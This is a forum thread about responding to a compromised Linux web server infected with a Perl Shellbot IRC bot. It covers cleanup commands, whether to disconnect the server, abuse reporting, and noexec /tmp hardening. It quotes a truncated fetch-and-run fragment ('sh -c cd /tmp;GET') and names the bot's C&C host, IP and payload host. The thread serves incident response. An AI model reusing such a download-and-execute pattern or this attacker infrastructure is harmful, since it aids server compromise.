Hi folks,

It would appear my webserver has been hacked. I'm seeing TONS of zombie processes with names like [sh] in them, as well as several instances of the following as running processes:

I'm not sure how to go about cleaning this up. I ran rkhunter and it came back clean, but obviously something is still calling the script to grab, run and then delete this script.

Edit: Added spaces so the URL's wouldn't parse.

You might want to look into something called chrootkit. I have heard a lot of good things about it. Also look in top and see if they have any parent processes. Find out what it is relying on then shutdown that service until you can cleanup the infection.

Yes, your web server has been compromised. From inspecting the Perl script that's being executed, it appears to be acting as a member of a BotNet. Disconnect the system from the network immediately. The most effective way to restore the integrity of any compromised system is a complete rebuild of the system only restoring data and applications from backups. Before doing this, inspect the log files on the system and attempt to determine the method(s) used by the attacker to compromise the box - though most likely the attacker cleaned the logs of any clues in that regards. If your web server was patched and configured correctly (and you're 100% sure of this), carefully inspect any applications you are hosting and make sure they are not vulnerable to attack.

These are the basics, do a Google search for painfully complete lists of what to do.

These are the basics, do a Google search for painfully complete lists of what to do.
We handled quite some breaches of security here at LQ so searching this forum should be way faster plus most of the threads will provide exact steps what to do.

Anyway, here's what to do.

Check out these docs before doing anything else. The first one you'll need to read to know what to look for and where: Intruder Detection Checklist (CERT): http://www.cert.org/tech_tips/intrud...checklist.html. This one comes in handy if your box was fully breached: Steps for Recovering from a UNIX or NT System Compromise (CERT): http://www.cert.org/tech_tips/root_compromise.html. The LQ FAQ: Security references: http://www.linuxquestions.org/questi...threadid=45261 will come in handy later on when you are ready to harden your box.

List (to file) all: processes (ps axfm -o uid,gid,pid,ppid,args), network connections (netstat -an), open files (lsof -n) and user login ocurrances (last) then raise your firewall so it will only allow access from your management IP (or IP range). Then shut down any (publicly accessable) services you do not need for systems management. If the box is remote you will only need SSH, which means you can kill like your database, webserver etc, etc.

Some questions:
What is the location (at home, dedicated or shared hosting, colo) and purpose of the box?
When did this incident occur (read back logs)?
When and how did you notice it?
What's your distro+release+kernel?
Did you already inspect your system, daemon and firewall logs?
Did you already inspect system auth (/etc/passwd and shadow files) for added or changed user info?
Are there any anomalous entries in /var/(log|adm)/secure or anywhere else PAM gets logged?
Do you by any chance run an IDS like Snort or Prelude?
What services are running and what apps are used by PHP and/or Perl (blogs, fora, CMSes, etc, etc)? List their versions as well.
Is all installed SW up to date?
Are there any setuid root files in temp dirs?
Did you check out user shell histories?


@abegetchell: Yes, your web server has been compromised.
But to what extent? His box may actually not be compromised to the core (in that it had it's root account cracked) but just has something piggybacking on unrestricted, misconfigured or flawed AMP services.


Disconnect the system from the network immediately.
...should prove interesting if the box is in colo or a shared host I think.


The most effective way to restore the integrity of any compromised system
No, the *only* way...

The C&C is a dyn-IP job, currently sitting on a dynamic host in the rima-tde.net domain, rai.noip.es, port 6667, channel "#Vulnerables" (currently). Rima-tde are pretty good about abuse reports, dealt with them before.

[ jayjwa@vdrl:~>] host 81.38.80.239
239.80.38.81.in-addr.arpa domain name pointer

239.Red-81-38-80.dynamicIP.rima-tde.net

Contact: nemesys@telefonica.es send him a nice detailed report.

However, they will just move it, as its host name is just a pointer. Browsing to http://noip.es/ yields a contact of info@cdmon.com, http://www.cdmon.com/empresa/contacte.php. My Spanish is bad, prehaps someone else could see better who to contact. "noip.org" is a famous dynamic DNS service, so I'm guessing noip.es is the Spanish version of that. Sounds reasonable?
Copy the report there, if you feel my assumption is correct about this being the correct place regarding noip.es hostnames.


The script is of course a modified Perl Shellbot IRC bot, searching for "Coppermine" vulns. Do you have that app? If so, it recently have an exploit found: http://www.securityfocus.com/bid/19219 Google "coppermine vuln": there are alot. The script sits here, host pepedo.iespana.es, so also copy your abuse report to here: abuse@ieurop.net.

The process will show up as "[pdflush/1]" in ps. Note this is also a legit process, but it should have low pid numbers, as this starts when the machine boots. Real "pdflush" procs:

66 ? S 0:00 [pdflush]
67 ? S 0:01 [pdflush]

The bad news is the bot allows full shell access on the hacked machine, so you need to do a full wipe/reinstall to be sure you're clean. If not, you may find any one of your thousands and thousands of binaries or solibs is really a trojanned backdoor in a few months (or never!).

You can also forward the bot's file to the varies AV companies, F-Prot is a decent linux scanner AV that they let you get for free personal use. Send file: http://www.f-prot.com/virusinfo/submission_form.html

The scanner itself is here: ftp://ftp.f-prot.com/

Technically it's not a virus but they usually detect such things.

Last, you can avoid many stock exploits if only you'd mount /tmp and /var/tmp noexec. This comes up so many times. In fstab, change the partitions to your own:

Likely that would have stopped the initial entry because "sh -c cd /tmp;GET ...." would have come back permission denied. If you build glibc, remount those as normal or the final glibc test case (which wants to exec out of /tmp) will always fail. I think "imake" or "xmkmf" might also want /tmp set executable, but that's about it.

Does it matter? Once an attacker has access to the system, or a process running on the system, with permissions elevated beyond those of an anonymous Internet user, its "game over". The possibility exists for further penetration of the system, and that possiblity alone means it's rebuild time. I may be a tad draconian in my approach of handling compomised machines, but I don't believe that it should matter whether a web server was defaced or a deep system penetration was made via a shell. Get the CD's.

Regarless of the location, the system should be disconnected from the network immediately. This is for the sake of everyone else on the Internet and constitutes being a "good Internet neighbor". Hopefully, if the box is colocated there is a method of OOB management that can be used to lay down a new system image.

Agreed.

Even if he takes his off someone else could get it. Also if he is hosting sites for many people then just taking down a server could be detrimental to his business. His best step to take is follow the advice of unspawn. Minimize the impact, clean up, and secure himself so it doesn't happen again.

With that logic, why worry about worm infections at all? Let 'em run wild.

Personally, I believe that (the possibility of, given an intrusion) my customers data being compromised, web sites defaced, and/or transactions intercepted is a much larger impact to my business than what should be a brief period of downtime while the system in question is cleaned of, and secured against, further intrusions. I can lay down a base OS install of RHEL, including patching, from CDs in just under twenty minutes. We're not talking about (again, what should be) a huge amount of downtime. However, and this is no knock against the original poster, I feel that this isn't a shared hosting box due to the fact that he needs to ask help concerning cleaning up a worm infection; usually, or hopefully anyways, admins who run boxes that host web sites know how to mop up this sort of thing.

He still can rid his machine of the infection while it still being online. As far as my logic from what I said, I stand behind it. None of us know if his customer data has been compromised. His first step would be to find out the type of attack and what it is doing.

Some of that text book BS does not cut it in business. All business cares about it their bottom line. Taking down a server that has no been properly diagnosed can cost the business money. And it will make matters worse having the boss down your neck and panicing customers.

Exactly my point. He probably doesn't know either, as anyone wouldn't without further investigation. The system should be isolated until that determination has been made, and to keep the worm from spreading (either internally or externally to the organization), and the box can be restored to a known good state.

It's not textbook BS. Sure, businesses care (primarily) about their bottom line, but they also care (a lot) about liability. Being held accountable because three thousand of your customers credit card information has been stolen puts you in a bad situation. It could mean legal consequences, it will most definitely mean lost business - specifically from a hosting providers standpoint, lost accounts. It will probably (depending on the nature of the organization) mean more lost business than an hour of downtime. Would you keep your web site hosted with a company who knowingly left your customers data exposed after a network intrusion?

Bottom line, if a business cannot afford any downtime at all, whether it be from a natural disaster, major network outage, or security breach, then there should be multiple systems hosting business critical applications. Taking a compromised system offline to address a potential network intrusion should not be a major event for any business, depending on business requirements, whether this means downtime or not.

@jayjwa: nice job.


@abegetchell:
Does it matter? Once an attacker has access to the system, or a process running on the system, with permissions elevated beyond those of an anonymous Internet user, its "game over".
You know as well as I do the last years have seen a surge in PHP and app related flaws, so its perfectly common to see a box being abused for spamming purposes. Yes the box is compromised, but no, the spammer doesn't need root account privileges for this.


Regardless of the location, the system should be disconnected from the network immediately. This is for the sake of everyone else on the Internet and constitutes being a "good Internet neighbor". Hopefully, if the box is colocated there is a method of OOB management that can be used to lay down a new system image.
The regardless.*neighbour thing is an argument I always use myself but if you hang around here for a time you'll see not all all hosters are as vigilant, helpful or even capable as we would wish. Ergo.


I feel that this isn't a shared hosting box
Don't guess. Make sure. The only way to do that is *ask*. IMHO incident proper handling starts with 0) giving the user clues how to mitigate the situation and 1) ask questions for us to assess the situation. If you do not ask questions you can not assess the situation. If you do not, then you can not give advice tailored to his specific situation. Thus you'll never rise above reciting the basic mantra again or even worse, tell a fellow LQ member to go "do a Google search for painfully complete lists of what to do" which isn't particularly helpful for people who come *here* for help.
So please lend them a hand the right way.
Its a reciprocity thing, y'know.


Bottom line, if a business cannot afford any downtime at all, (..) then there should be multiple systems hosting business critical applications. Taking a compromised system offline to address a potential network intrusion should not be a major event for any business (..)
Check. Most just don't start out with the level of professionality, experience, knowledge, architecture and capital you expect of a growing or fully matured business. The businesses you talk about don't do business without third party SLA's to fall back on. And you won't find them here asking for support, so.


Now, let's hope the OP shows up RSN.

I have to go along with unSpawn who has vast experience and has helped me tremendously.
The key here is to establish how penetration was effected. The only way is to examine the log files very carefully. It is likely that they have exploited some vulnerable application and have installed the scripts using apache priviledges only. The key here is to find how they got in and whether the vulnerable application has been patched. This type of penetration does not necessarily point to the cracker having gained root priviledges.